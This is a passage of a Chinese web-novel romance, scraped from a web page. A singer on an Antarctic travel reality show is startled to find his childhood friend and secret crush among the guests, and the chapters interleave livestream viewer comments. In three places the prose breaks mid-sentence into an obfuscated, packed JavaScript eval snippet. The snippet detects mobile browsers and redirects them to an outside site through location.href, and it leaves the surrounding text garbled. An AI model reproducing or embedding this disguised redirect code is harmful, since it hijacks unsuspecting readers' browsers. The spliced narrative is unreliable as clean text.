方新故起身接过礼物,小心翼翼地拆开被包装好的碟片,珍视地看了好几眼,脸上也露出了笑意。这是今年《极地信使》上映十周年发行的纪念版碟片,方新故也收藏了一张,因此更清楚这张带有导演和主演签名的碟片价值有多高。 节目组绝对是费了一番心思,方新故把碟片拿起来起来在镜头前展示:“这真是个大惊喜,太谢谢你们了,我一定好好珍藏。” “不客气,你喜欢就好,”备采间里的氛围显然更融洽了,小李继续提问,“新故这么喜欢《极地信使》,所以是我们此行的目的地吸引了你来《世界之大》?” 方新故点头:“嗯,算是。” 小李玩笑道:“幸好我们选定的目的地是南极,要是换个地方,新故可能就不来了。” 镜头外响起一片笑声,方新故想到当时自己在医院固执要接《世界之大》的场景,也大方承认:“还确实有这种可能。” “看来是缘分让我们《世界之大》节目组和新故相遇了,”小李问,“那新故对这趟旅途有什么期待吗?” “比较期待能看到不一样的风景吧,希望在这次旅程中,能沉浸式地享受大自然最纯粹的美。” “嗯!我们的旅途马上就要启程了,希望新故能玩得开心。最后一个问题,你希望在这次旅程中,有什么收获吗?” 节目组不可能为难方新故这位救苦救难的财神爷,因此提的问题基本都是按照采访稿来的。 方新也照旧给出了自己事先准备好的答案:“最近在准备新专辑,希望能从这趟南极之旅中获得一些灵感。当然,节目组把写节目主题曲的重任也交给我了,希望在旅程结束之前,我能顺利写完这首歌。” 原本回答完这个问题,采访环节就能结束,但方新故低头看到手中那张《极地信使》的碟片时,忽然想起十年前看《极地信使》时的场景。 那时候他是和景亦同一起看的这部电影,刚从电影院出来,他就兴奋地诉说以后有机会一定要去亲眼看看南极这片神秘的大陆。 当时景亦同不放心地拉着他穿过马路,在他身旁附和说,好,到时候他也会像现在这样陪在方新故身边,去他想去的地方。 但十年过去,景亦同肯定早就忘了当时随口应下的承诺了吧。 方新故拂过碟片,在镜头前喃喃道:“也希望能在这次旅途中,放下一些心结。” . 时间转眼到了《世界之大》开始录制的日子,方新故提前到京市做准备。这天上午,齐邱和助理周小佑敲响了方新故的房门。 前段时间方新故回江城休息,周小佑也放了个长假。带薪休假整整一个月才归来的周小佑感觉自己浑身都是劲:“哈喽新故,早上好。” 方新故眼球上都是红血丝,萎靡不振地打开门:“早。” 齐邱看看周小佑又看看方新故,只感觉一个朝气蓬勃、一个死气沉沉,他质问方新故:“你晚上干什么了?脸色这么差。” 方新故捏捏鼻梁:“忙着写歌,睡得不大好。” 齐邱想骂他,又觉得骂了也是白费口舌,只好道:“算了,等会让化妆师帮你遮一下黑眼圈。” 时间紧急,周小佑接过方新故的行李就往楼下走。 方新故跟在后面,把一个包装好的快递盒交给齐邱:“过两天帮我寄一下这个快递,等会我发你地址。” 齐邱应下,把方新故和周小佑送去了机场。 这一趟要抵达南极也不容易,节目组要从京市出发,经历两段转机后抵达乌斯怀亚登船,最终抵达南极大陆。 方新故在下午一点抵达机场,节目组在机场内包了一间VIP休息室做录制间,而第一天的录制内容主要就是全员集合,昨天节目组已经在网上发布了预告,通知观众今天的集结将以现场直播的形式放出,届时不仅会公开七位嘉宾的身份,同时还有机会能与嘉宾在直播间交流。 直播的噱头加上漫天流传的嘉宾消息,当即惹得一大波人蹲守直播间,一直等到今天三点钟直播间正式开启。 方新故跨进录制间大门时,已经将近三点半,这个房间并不大,一眼就能看到镜头后的导演等人,以及房间正当中那七个空荡荡的座位。 方新故脚步一顿,他竟然是第一个到的? 很好,已经开始尴尬了。 而此时的直播间里,观众们已经等得不耐烦了。 “说好三点开播,这都快三点半了,直播间里还一个人都没有???” “我是为了看方新故才来的,结果在这里浪费了我宝贵的半小时[怒火]” “真搞直播旅综?节目组是真勇,完全不怕直播事故?” “哈哈哈还好这几年管得严,不然我真怕私生直接把他们节目组包围。” “已知方新故、李问语、汪裴阳、孟回、梁寄言、罗达这六个是明牌了,所以还有一个人是谁?这么神秘,到现在一点消息都没有,公式照都没流出来。” “我服了齐邱,这个南极到底有谁在,谁允许他把我哥发配去地球边疆的啊啊啊。” “气球=□□=企鹅=南极,懂?” “方新故能出来活动已经很好了,孩子毕竟刚毕业,管他去哪儿呢,就当是毕业旅行了。” “乘风娱乐倒闭吧!让李问语推了大热综艺来这个破旅综,语丝永恨!” “那天吃瓜说这节目组全靠fxg盘活,之前都穷到只能邀请梁寄言这种劣迹艺人了,你们就让让它吧[笑哭]” “我去怎么还有梁寄言?当年她当小三气得原配自杀之后不是被软封杀了吗,现在还能出来活动?” “卧槽节目组疯了吧,这种人也敢请?fxg消失两个月好不容易出来录个综艺,别未播先殉了啊啊啊。” “真有方新故啊?我一直以为是节目组借他暖饼来着。” “之前我也不信,直到昨天公式照流出……” 空无一人的直播间里,粉丝们已经自顾自地聊上了,但这时,屏幕外忽然传来一阵轻缓的脚步声,接着便响起了一道声音:“我是第一个?” 总导演严途回道:“是的。” 在听到这段对话的一瞬间,直播间正在刷屏的弹幕有片刻的冷却,但紧接,评论区就彻底被一片“啊啊啊”取代,更是有成千上万的人涌进直播间—— “方新故来了!” “啊啊啊新故!” 方新故硬着头皮走进录制间,沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060119|179177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 默地在最侧边的位置坐下,心里腹诽节目组到底怎么想的,竟然敢把他第一个放进来,是真不怕冷场啊? 严途提醒:“新故,可以先来跟我们直播间的观众朋友们打个招呼。” 方新故这才把视线投到那个正在疯狂竖屏的直播屏幕上,他略带疑惑地凑近看,才发现此时直播间里已经听取“哇”声一片。 方新故冲着镜头点头:“大家好久不见。” “死鬼你还知道回来呜呜呜” “咕咕好久不见!” “新故看起来瘦了好多[哭]身体怎么样?” 方新故摸摸自己的脸:“还好吧?肉已经长回来了,身体也还行。” “好好好,身体没事就好! “欢迎失踪人口回归!” “哥别凑屏幕这么近,帅得我要窒息了[舔屏]” 方新故一个人干坐着也没事干,干脆跟直播间的粉丝聊了起来。 直到方新故觉得这直播间都快变成他的个人直播间时,第二位嘉宾终于来了,是刚满十八岁的新人演员汪裴阳,方新站起身,主动伸出右手招呼:“你好。” 汪裴阳露出了受宠若惊的表情,忙走上前弓腰双手回握住方新故的手,用力地上下摇晃:“方老师您、您好。” 方新故看着自己被紧紧握住的手:“……也不用这么客气。” 汪裴阳马上收回手站得笔直:“哦哦好!” 方新故:…… 两人面面相觑,气氛有点尴尬,汪裴阳是刚入行的新人,方新故从齐邱那里了解到他性格有些腼腆,但也没想到他会这么拘谨,可方新故自己也不是什么很擅长交际的人。 一阵思索后,方新故重复了一遍刚才严途跟他说的话:“跟直播间的观众打个招呼吧。” 汪裴阳僵硬地转过头,对着直播镜头道:“大家好,我是汪裴阳。” 直播间里调笑不断:“小裴你在干嘛!啊啊啊妈妈的脸都被你丢完了!” “弟弟往那儿一站就是个兵。” “那方新故是他的教官吗哈哈哈。” “报告教官小裴已红温!” 方新故看到汪裴阳通红的耳朵,心想这孩子要是再多看会儿弹幕就该原地蒸发了,他解围:“先坐会儿吧。” 汪裴阳松了口气,屁颠屁颠跟着方新故一起坐到了录制间的空位上。 在汪裴阳之后,李问语、孟回、罗达和梁寄言也依次抵达,现场终于热闹起来,只是七个人的位置,始终剩下一个无人落座。 李问语好奇举手问节目组:“所以还有一位嘉宾是谁,你们卖关子卖了这么久,现在可以透露给我们了吧?” 严途在镜头外笑道:“大家都来猜一猜。” 罗达一拍大腿:“连男女都不知道怎么猜?起码给个范围吧! 李问语附和:“就是就是,现在男女人数一样,感觉第七位是男是女都有可能。” 罗达大笑:“咱们又不是恋综,不用讲究男女人数平衡吧。” 孟回也笑着参与到讨论中:“我猜是位男嘉宾,寄言你觉得呢?” 一直很沉默的梁寄言接了一句:“……那我猜女嘉宾?” 几人正靠着这个话题破冰,录制间门口突然传来一道声音:“不好意思,我来晚了。” 这声音不大不小,但录制间却安静下来,一时间,所有人的目光都投向门口那位神秘的第七人。 一个身材高挑的男人正站在门口,他穿了一件黑色鹿皮绒翻领夹克,脚下踩着一双登山靴,衬得他人高腿长,一张英俊的面孔偏偏又含着笑,简直让人如沐春风。 但在听到这声音的刹那间,方新故却彻底愣住了,根本不用扭头去看,光是听声音,他就已经辨认出了来人。 扑通、扑通。 方新故听到了自己的心跳,他平生第一次深切地感受到什么叫心如鼓擂,原来人的心脏可以跳得这么快、这么有力。 一时间,方新故甚至忘了呼吸,唯独狂跳的心脏快要蹦出胸口。 他僵硬地朝声音的来向看去—— 只见景亦同正站在门口,面含笑意,直直地看着他。 11. 第 11 章 空气都仿佛有一瞬间的凝滞,其他几人在意外之余,很快也反应过来,纷纷起身迎接:“景老师,欢迎欢迎!” 景亦同和他们打招呼:“大家好。” 唯独方新故呆坐在原地,他不敢置信地看着景亦同, 那一刹那,方新故的大脑嗡的一声,视野中只剩下景亦同不断靠近的身影,与记忆中从小到大景亦同无数次向他走来的场景渐渐重叠。 如梦似幻,一切都是那么不真实。 方新故狠狠闭上眼,恨不得眼前所看到的一切都只是一场梦,只可惜现实就是现实,等他再次睁开眼,眼前的景象却注定不会有丝毫变化。 景亦同为什么会在这里? 他不是说过演员应该和观众保持距离,所以除非剧宣,否则不会上综艺的吗?那他为什么会悄无声息地成了《世界之大》常驻嘉宾? 方新故一时不知该做和反应,他只是愣愣地坐在椅子上,一动不动地看着景亦同和其他几个人寒暄客套。 景亦同把目光投向坐在角落中的方新故,但方新故一跟他对视,就挪开视线,生硬地转过头不去看他。 景亦同注意到方新故的小动作,微微抿起唇:躲我? 山不就我我就山,景亦同主动出击,他走到端坐着的方新故面前伸出手,故意道:“方老师好。” “方老师”,好新鲜的称呼。 圈里互称老师太过常见,但这还是方新故第一次听景亦同这么叫他,总觉得有种莫名的违和感,他一时没绷住,差点笑出来。 但想到此时还在录制中,方新故瞄了一眼正对着他的镜头,马上控制住表情,故意板起脸掩饰快要压不住的嘴角,虚虚握了下景亦同的手:“哦,你好。” 景亦同借机用力捏了一下方新故的手,仗着自己背对着镜头和所有人,非常嚣张地朝方新故眨了眨眼。 方新故:…… 方新故咬牙忍笑,面部神经都快抽搐了,却不敢显露分毫。 而这时直播间里已经炸开了锅: “我靠最后一个常驻是景亦同?” “节目组这把稳了,如果我没记错,这应该是景亦同第一次综艺常驻吧。” “节目组你好事做尽,同丝已疯啊啊啊!” “这节目组到底什么实力,又是方新故又是景亦同?” “道理我都懂,但fxg为什么坐着一动不动,甚至连景亦同跟他握手都没站起来,景亦同怎么说也是前辈吧,好没礼貌……” “笑死,fxg本来不就是这种目中无人的性格?” “guna其他五位常驻进来的时候fxg可都是站起来迎接的[微笑]” “故丝的意思是这是景亦同的问题?” “景亦同当然有问题,刚刚两个人握手的时候,景亦同掌骨都凸起来了,很明显是他突然用力捏住方新故的手,他想干嘛?” “有些人的意思是方新故面对几个小糊咖的时候客客气气,反而面对景亦同就开始挂脸,逻辑呢?方新故这么做图什么?” “这都不懂?fxg看到咖位比他大的景亦同,知道自己成不了节目中心,一下没控制住挂脸了呗。” “要说fxg估计也是被节目组摆了一道,前期节目组把景亦同的身份捂得这么死,估计就是怕fxg知道之后跑路,笑死。” “新故不是爱豆吗,能不能注意下表情管理[笑哭]脸一下就黑了” “有人在吵架,有人在吸氧[发疯]谁懂双担此刻有多激动啊啊啊!” “双担先别激动,你的两个担好像有仇耶。” “什么,有男同性恨?!在哪里在哪里!” 评论区吵吵嚷嚷,而录制间里,景亦同好歹顾忌着镜头,没做什么太出格的事,他很快松开了方新故的手,转过身道:“不好意思,我来迟了。” 除了方新故,没人发现景亦同身上有任何端倪,孟回笑着应道:“不迟,我们几个人也刚刚凑齐。大家都别站着了,快坐吧。” 罗达好奇地看向景亦同:“亦同你是真能瞒啊,前段时间见到你,也完全没听你提起这件事。” 景亦同:“这不是准备给大家一个惊喜嘛。” 方新故心想哪儿来的惊喜?对他而言分明是惊吓。 谁能想到他千挑万选选中的综艺,最后却出现了一个他压根不想见的人,他根本没做好再见景亦同的准备。 早知道景亦同会来,打死方新故也不会来这个节目,管他是不是去南极。 可是世上没有后悔药,何况现在都已经坐在机场了,他又不能当场跑路。 于是后半场直播,脑袋里一团乱麻的方新故变得更为沉默,除了有人提起他,他几乎没再说过一句话。 好在方新故本就话少,大部分人都没察觉异常,但有些人却敏锐地察觉到方新故心情不佳,似乎是和景亦同犯冲。 直播结束,节目组马上就要登机,直播间也暂时关闭。 好不容易得了空,方新故一手拿起随身行李,一手拿着手机,在无人注意的角落打开手机找到和景亦同的聊天界面,带着满腔疑惑打了个“?”发过去。 景亦同原本没注意到手机消息,直到走在前面的方新故突然回头,穿过人群朝他使了个眼色,景亦同心下了然,当即默契地拿起手机解锁,就看到方新故给自己发来的问号。 景亦同笑了一下,他分明猜到了方新故是什么意思,却还是故意也回了一个“?”回去。 方新故瞪着那个问号,心想许素波当时说的也没错,景亦同确实挺能装。 他直接开门见山:你怎么来了? 景亦同抬头看走在前面的方新故埋首打字的模样,觉得有些好笑,他回道:这么霸道,不让来? 方新故思索着回复:当然不是,但你要来怎么也没跟我说一声。 景亦同把锅推给节目组:导演要求保密的,我不方便说。 方新故:连我们也要瞒着? 一般来说节目组就算要保密,也只会针对观众保密,不会连其他嘉宾也跟着一起隐瞒,所以这次《世界之大》为什么把景亦同捂得这么严实,这对节目组有什么好处? 景亦同很快回道:这不是怕你知道我要来,你就跑路不来了嘛。 方新故一怔,是的,如果他提前知道景亦同会来,肯定宁愿违约也会退出录制……但景亦同是怎么知道的?毕竟景亦同一无所知,又凭什么知道自己在躲着他? 还没等方新故想明白,景亦同又给他发了一个[哆啦A梦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060120|179177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抱胸]的嘚瑟表情包,方新故这才反应过来,景亦同刚才八成只是在跟他开玩笑,并不是真的觉得“有他没我”,结果却一不小心戳中了他的心事。 方新故心烦意乱地熄灭手机,不想再跟景亦同这个满嘴跑火车的人聊天。 第一段航线的飞行时间大约是十一个小时,《世界之大》节目组接到方新故这波泼天的流量之后也算发达了,财大气粗地给常驻嘉宾们买了头等舱席位。 飞机上一共有八个头等舱的位置,分别是两侧靠窗的各三个单人位,中间还有两个并排的座位。 方新故看了一眼自己的机票,发现自己好巧不巧坐在了中间的位置上。好在他不挑,认准位置后就坐了下来。 但也并不是每个人都对座位完全没有要求,和方新故一起坐在中间位置的是李问语,她看看自己两不靠的位置,又看看其他六个靠窗的位置,满脸都写着羡慕两个大字。 平常头等舱基本是坐不满的,但今天因为《世界之大》节目组的到来,头等舱竟然没有一个空位,李问语想靠窗坐只能找人换。 但她是不好意思开口的,她虽然大大咧咧,但跟在座的几人都不熟,唯一算得上熟悉的方新故,这会儿又跟她一起并排坐在中间。 李问语环视一圈,还是准备放弃,但景亦同这时忽然叫了她一声:“问语,我可以跟你换个位置吗?” 李问语懵了:“啊?”竟然还有人不想坐靠窗的位置,反而想坐在中间跟别人挨一块儿? 景亦同解释:“坐中间会比两边平稳一点,你要是不介意的话,我想跟你换个位置。” 李问语立马双眼放光,天底下竟然还有这种想什么来什么的好事!她马上用力点头:“那景哥你坐这儿,我去你那里坐!” 说完,她像是怕景亦同反悔似的,疾步走开了。 景亦同笑着把自己的东西放在李问语原本的座位上,就感受到一股强烈的视线。 他微微低头,看到旁边的方新故正用审视的目光盯着他,两人视线交错,方新故无声做了个口型:你故意的? 景亦同一挑眉:很明显? 方新故朝李问语看了一眼,有点无语,心想你也就能骗骗那傻姑娘了。 景亦同在方新故身旁的位置坐下,好在两个座位中间的挡板够高够厚,坐下后基本感受不到对方的存在,方新故这才松了口气,努力安慰自己没事,就当景亦同不存在就好。 飞机起飞,慢慢升上万米高空平稳飞行,这次航班的私密性不错,头等舱每个座位都带有一扇侧门,只要把门拉上,就可以简单将自己与周围隔离开,形成一个小房间。 方新故关上左手边的侧门,调整了一下座椅的角度,整个人往下窝了点,准备先闭眼休息一会儿整理下思绪。 他拆了一个机组送的眼罩,刚准备戴上,就听到右侧突然传来“啪”的一声,方新故被惊得一抖,条件反射地往右看去,就发现隔在自己和景亦同中间的挡板竟然被放了下来,而始作俑者景亦同正透过挡板放下后的洞看向自己。 方新故震惊地看他:“你干嘛?” 景亦同凑近:“聊聊?” 方新故盯着他看了片刻,眯着眼哼了一声,扭过头:“跟景老师不熟,没什么好聊的。” 12. 第 12 章 景亦同看着方新故留给他的后脑勺,忍不住笑了,这反应明显是在回敬他刚才那句“方老师”。 景亦同感觉自己就像是被小猫爪子挠了一下,不仅不疼,还有点被可爱到了。 方新故听到身后传来几声轻笑,又迅速转过头质问:“你还笑?” 景亦同又凑近了些:“生气了?” 方新故小幅度地挥手赶他,景亦同却一动不动,他注意到方新故手上拿着机组提供的眼罩,问道:“没带眼罩?” 方新故脸上还一副生气的模样,嘴上却已经下意识地回应:“嗯,托运了。” 景亦同朝着眼罩抬抬下巴:“这个戴着舒服吗?” “不舒服。” 景亦同回过身,低下头在自己包里翻找什么,正当方新故好奇他在做什么时,景亦同忽然拿了一个眼罩递过来:“要用这个吗?” 方新故看着那个眼罩有些发愣,那是一个算得上可爱的眼罩,整体是黄色的,印着奶酪的花纹,上面还有两个滑稽的大眼睛,放在景亦同手上有些过于卡通,怎么看也不像是景亦同会用的东西。 因为那是方新故常用的眼罩。 当然,这并不是说这眼罩就很符合方新故的气质,方新故向来是个实用主义者,只要东西好用,就不会太在意外在。 而方新故对光又很敏感,他在有光的环境中很难入睡,日常出行十分依赖眼罩。 昨天他收拾行李的时候不小心把惯用的眼罩塞进了要托运的行李箱里,今天早上他倒是想到了这回事,但飞机上也会提供眼罩,他就懒得再把眼罩拿出来,想着凑合用用得了。 但可能是他同一款眼罩用习惯了,刚才试戴了一下机组提供的眼罩,才发现这眼罩虽然由某个知名品牌生产,但戴着总感觉压迫眼球和鼻梁,显然跟他的面部不太贴合,还不如他在网上十来块买的眼罩舒服。 可现在景亦同却拿出了他惯用的眼罩,一看就是提前给他准备的。 方新故心头一暖,但很快又觉得有些难过,两种截然相反的情绪交织在一起,让他心里不由泛起了一丝苦涩。 他忽然意识到不仅仅是对他而言,景亦同是人生中不可或缺的一部分,对景亦同而言,他可能同样是十分重要的存在。 天平两端的感情重量或许能持平,但性质却完全不同,在景亦同眼中,他们之间只会是友情、亲情,却绝不会是爱情。 所以这份感情的重量显得如此不合时宜,因为他们注定不会有结局。 如果时间往后倒退,或者干脆快进到以后,方新故相信自己都能毫无心理压力地接下那个眼罩。 但此时此刻,方新故只是抬起视线跟景亦同对视:“哥。” “嗯?” “眼罩就算了,你自己用吧。” 景亦同喉间一紧:“怎么了?” 方新故指指手中已经拆开的眼罩:“拆都拆了,我用这个就好。” 景亦同皱起眉,不知道为什么,最近方新故总是对他忽冷忽热,让他空有一身力气却无处施展。 但方新故退一步,景亦同自然会进一步。 景亦同一伸胳膊直接穿过格挡,一把抓住方新故的手腕,直直盯着他:“为什么?” 方新故被景亦同突如其来的动作弄得有点心慌,但他还是镇定道:“主要是我觉得我们现在还是装作不熟比较好。之前我们从来没透露过我们的关系,刚才在直播里我们也像是初次见面,要是现在再在镜头前表现得很熟悉,不就太莫名其妙了?解释起来也很麻烦,不如将错就错下去,装作彼此不熟吧。” 说完这通话,方新故心里一阵怅然,但又觉得这是最好的方案,否则如果景亦同再对他没边界感,他真怕自己会在镜头前失态。 景亦同皱眉,显然不乐意:“一定要这样?” 方新故态度坚决:“最开始不是你在直播间里叫我‘方老师’,装得好像我们第一次见那样的吗?” 景亦同:…… 天杀的,鬼知道他当时只是想逗逗方新故,现在却发现这简直是给自己挖了个坑, 但现在后悔也来不及了,尤其方新故是个很有一套自己逻辑的人,在多年的相处中,景亦同已经摸清了和方新故相处时要遵守的一套准则,其中最重要的一点,就是要尊重方新故给自己套上的保护壳。 景亦同不敢追得太紧,他松开那只抓着方新故手腕的手,也退了一步:“如果这是你希望的,那我会配合你的意愿演下去。” 方新故刚要松口气,却见景亦同突然伸手抽走了他手中那个黑色的机组眼罩,并把黄色的芝士眼罩塞进了他手里。 方新故看着烫手的眼罩,一双漂亮的眼睛都睁圆了:说好的装不熟呢? 景亦同读懂了方新故的微表情:“只是在镜头面前装不熟,对吧?现在又没有镜头,你用。” 方新故:……竟然很有道理。 话都说到这份上了,方新故也不再回避,他接过眼罩:“谢了。” 景亦同:“好好休息,大病初愈才一个月,还是要好好修养。” 方新故随意地“嗯”了一声,又开始闭眼装死。 . 在经历了四十多个小时昼夜颠倒的飞行之后,飞机终于在乌斯怀亚降落。 方新故摘下眼罩,睡得有点迷糊,最后这段转乘只飞了四个小时,他几乎一上飞机就开始睡觉,但睡得很不踏实,现在头晕脑胀的。 飞机着陆停稳后,头等舱的乘客开始下飞机,方新故走在最后,前面就是景亦同,他左右观察,见没人关注这里,便偷偷拉开景亦同的背包,把眼罩塞了进去。 景亦同感觉有人在拨弄自己的背包,一转头就看到方新故鬼鬼祟祟在拉他包的拉链。 景亦同无声比口型:干嘛? 方新故两手比“O”怼在眼睛上,又比划着把两个“O”丢进了景亦同的背包:把你眼罩放包里了。 景亦同看明白了方新故的抽象表达,他笑着比了个“OK”。 正巧这时走在两人前面的梁寄言忽然回头,吓得方新故做贼心虚地收回手挺直身板,侧头看向一边。 好在梁寄言只是回头确认自己没落下什么,根本没注意两人,转过头继续往前走下飞机。 此时乌斯怀亚的气温在十度左右,但作乱的风裹着极地的冷气呼啸而来,方新故一出机舱就感受到一股凛冽的寒意,他紧了紧外套,跟着大部队一起去取托运的行李,准备等会到酒店先换件外套。 这次节目录制的时间久,每个人的行李箱里都装得满满当当,方新故刚把自己的行李都装上推车,就看梁寄言正盯着转盘上她28寸的箱子面露难色。 她提了两下没提动,环顾四周似乎想找个工作人员帮忙,方新故见状直接上前,帮她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060121|179177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把箱子搬到了推车上:“还有其他箱子吗?” 梁寄言松了一口气:“谢谢,没有了,这是最后一个。” “没事。” 方新故刚准备走,就听李问语在背后叫他:“师兄能不能帮我也搬一下。” 方新故回头就看到李问语指着她那个正在转盘上旋转而去的箱子,他追了两步帮李问语把箱子提下来。 这一提,就惹得方新故默默看了李问语好几眼,等到把李问语的箱子放到推车上,他才忍不住吐槽:“请问你24寸的箱子为什么比别人28寸的还重?” 李问语珍惜地拍拍箱子:“这里都是我的宝贝。” 方新故埋头搬行李,懒得搭理她。 梁寄言看李问语:“怎么不戴帽子?这里风还挺冷的。” 李问语叹气:“哎,我忘带了,正想着等会有空了去附近买一顶。” 方新故看了眼她巨沉的箱子:“所以你带了这么多宝贝,也没记得带个帽子?” 李问语:…… 路过的孟回笑了:“行了行了,反正下午没有录制,问语,不然我陪你去买帽子?” “哦耶,还是回姐好!”李问语高兴地把手搭在孟回肩上,“我正担心自己外语不好,没法跟本地人交流呢。” “其实我也一般,”孟回看方新故,“不过我记得新故口语还不错吧,要不新故一起来?” 方新故英语还行,但乌斯怀亚这边说的是西语,他充其量也就会说几句常用语,倒是景亦同的西语说得不错,他下意识指指从身边路过的景亦同:“这个你得找他。” 景亦同:? 李问语和景亦同对视一眼,迷茫道:“为什么找景哥?” 方新故这才反应过来自己说了什么,他瞬间想把自己的嘴缝上,怎么话都没过大脑就直接说了!他们俩现在的设定就是“不熟”,他更不可能知道景亦同会说西语! 好在景亦同会西语这事不是个秘密,孟回听到他们的对话也想起来了:“哦,对,亦同会西语是吧?” 景亦同这才明白前因后果,他揶揄地看了方新故一眼,适时接话:“嗯,等会儿我跟你们一起去买。” 李问语挥了挥拳:“景哥,感恩有你!” 罗达扭头:“买帽子?加我一个。” 乌斯怀亚的冷风吹得人头皮发麻,李问语有一头长发护着尚且忍受不了,罗达留着板寸的脑袋就更不用说了。 “一起一起,人多热闹,”李问语戳了戳梁寄言的胳膊,“寄言姐来吗?你和回姐一起帮我挑一挑吧~” 梁寄言应下:“好。” 听到大家的议论声,汪裴阳也蹭过来:“那我也去。” 罗达看看头戴帽子的汪裴阳:“你不是有帽子吗?” 汪裴阳小心翼翼:“集体活动,我不参加是不是不太好?” 罗达点头认同:“哦,那倒也是。” 方新故还没反应过来,就已经被一句“集体活动”安排得明明白白。 他还准备去酒店休息一会呢,怎么就变成集体出游了,有人问过他的意见吗? 方新故皱眉疑惑:“什么时候变成集体活动了?我不太想……” 话还没说完,其他六双眼睛就齐刷刷地看向他,直把方新故盯出了一股寒意——好熟悉的场景。 方新故闭眼妥协:“……去去去。” 13. 第 13 章 《世界之大》第一次集体出游,就被几个各怀心思的人给默契地定了下来。 此时是当地时间下午四点,原本今天剩余的时间是留给大家倒时差休息的,并没有录制计划,他们当然可以自由行动,但毕竟是在异国他乡,集体外出还是得跟节目组报备一声。 李问语小跑着去找严途:“严导,我们下午准备出去溜达一圈。” “‘你们’?”严途扭头看她,“你和谁?” 李问语比划着了一个圈:“我们七个人,大家整整齐齐的,一起陪我去买帽子。” “很有节目嘛,都会自己组织破冰活动了,”严途笑呵呵,脑瓜子一转,“去吧,等会我们跟着你们去录制,你再开个直播,这么好的机会不能浪费。” 《世界之大》原本就有直播计划,部分直播将由七位嘉宾掌镜,带领观众以第一视角体验《世界之大》旅行团的日程,今天是第一次集体出游,严途当然不会错过这个好机会。 计划是好的,但实操起来还是有点问题,方新故看了眼时间:“严导你是不是忘了时差,现在国内还是凌晨吧?” 梁寄言附和:“太早了,能有人看吗?” 严途很有自信地大手一挥:“对自己有点信心,播就是了!” “是啊,有人看就是赚了,没人看我们也不亏,”李问语心态极好地拍着胸脯应下,“直播我最熟,包在我身上。” 于是一行人把行李安置在酒店后准备出门,只是他们人生地不熟,这又是台本外的行程,七个人站在酒店门口往四周张望,显然有点迷失方向。 罗达知道节目组肯定提前来踩过点,但这帮人蔫坏,也不主动给他们指个路,罗达只好问严途:“所以我们怎么走?” 镜头外,严途双手一摊,丝毫没有提示他们往哪个方向走的意思。 李问语一边调试直播镜头一边嘀咕:“这就开始整上节目效果啦?好歹也给我们指个方向吧。” 汪裴阳跟着嘟囔:“简直比这里的风还要冷酷。” 景亦同一看严途那表情,就知道今天他们是不可能从节目组嘴里套出正确路线的,他只好主动道:“算了,我去问下酒店工作人员吧。” 孟回笑道:“节目组连个翻译都不配给我们,看来这两天出行我们是离不开亦同了。” 李问语深有同感:“万恶的节目组,我们可就这么一个景哥,别把景哥累坏了。” 一群人目送着景亦同去找前台问路,方新故看了两眼就收回视线,突然想到齐邱曾跟他吐槽过这个节目组有多穷酸,他扭头看了严途一眼,沉思道:“你们该不会是知道嘉宾里有个人会西语之后,就准备连请翻译的钱都准备省了吧?” 严途刚想辩解,就见其他人怀疑的目光也落到了自己身上,显然大家对节目组原本有多穷都有所耳闻。 那几道不信任的目光瞬间击穿了严途的玻璃心,他气得大声道:“污蔑!我们现在还是很有实力的!” 恰巧此时李问语的直播间刚刚打开,粉丝们刚涌进直播间,就听一个男人大喊自己“有实力”,大家随即刷屏:“有实力?什么实力? “哦?V我50看看实力。” 李问语被逗得大笑:“财不外露啊严导,直播间的观众现在都要你V他们50看看实力呢。” “……你直播开了也不说一声,”严途嗓门一下弱了,“咳咳,V50是不可能的哈,咱们能省则省,这个钱还是要花在刀刃上。” 方新故在边上拱火:“你这意思就是说我们直播间的观众不是刀刃呗。” 严途:? “我压根没有那个意思!” 直播间笑倒了一片—— “我不行了,我以前怎么不知道方新故这么会拱火哈哈哈。” “可怜的导演被戏弄的一生[摇头]” “所以节目组现在到哪里啦?什么时候出发去南极?” 这时,李问语反转直播镜头,她扬着一张明媚的笑脸和大家打招呼:“哈喽朋友们,欢迎来到我们的直播间——《世界之大》,我们带你去看。我是今天的导游小李,将竭诚为您服务。我们刚刚抵达乌斯怀亚,现在准备出去逛一逛。来来来,大家都来跟直播间的朋友们打个招呼。” 几人挨个在直播间报道,直到最后轮到方新故,他朝着镜头抬了抬手:“大家都起得挺早?” 直播间隔空互动:“嘿嘿有没有可能是根本就还没睡。” “早上坏,新故好。” “老师,我家那么大个景亦同怎么不见了?” 李问语有问必答:“景哥帮我们去问路了,他是我们几个人里唯一一个会西语的……嗷他回来了。” 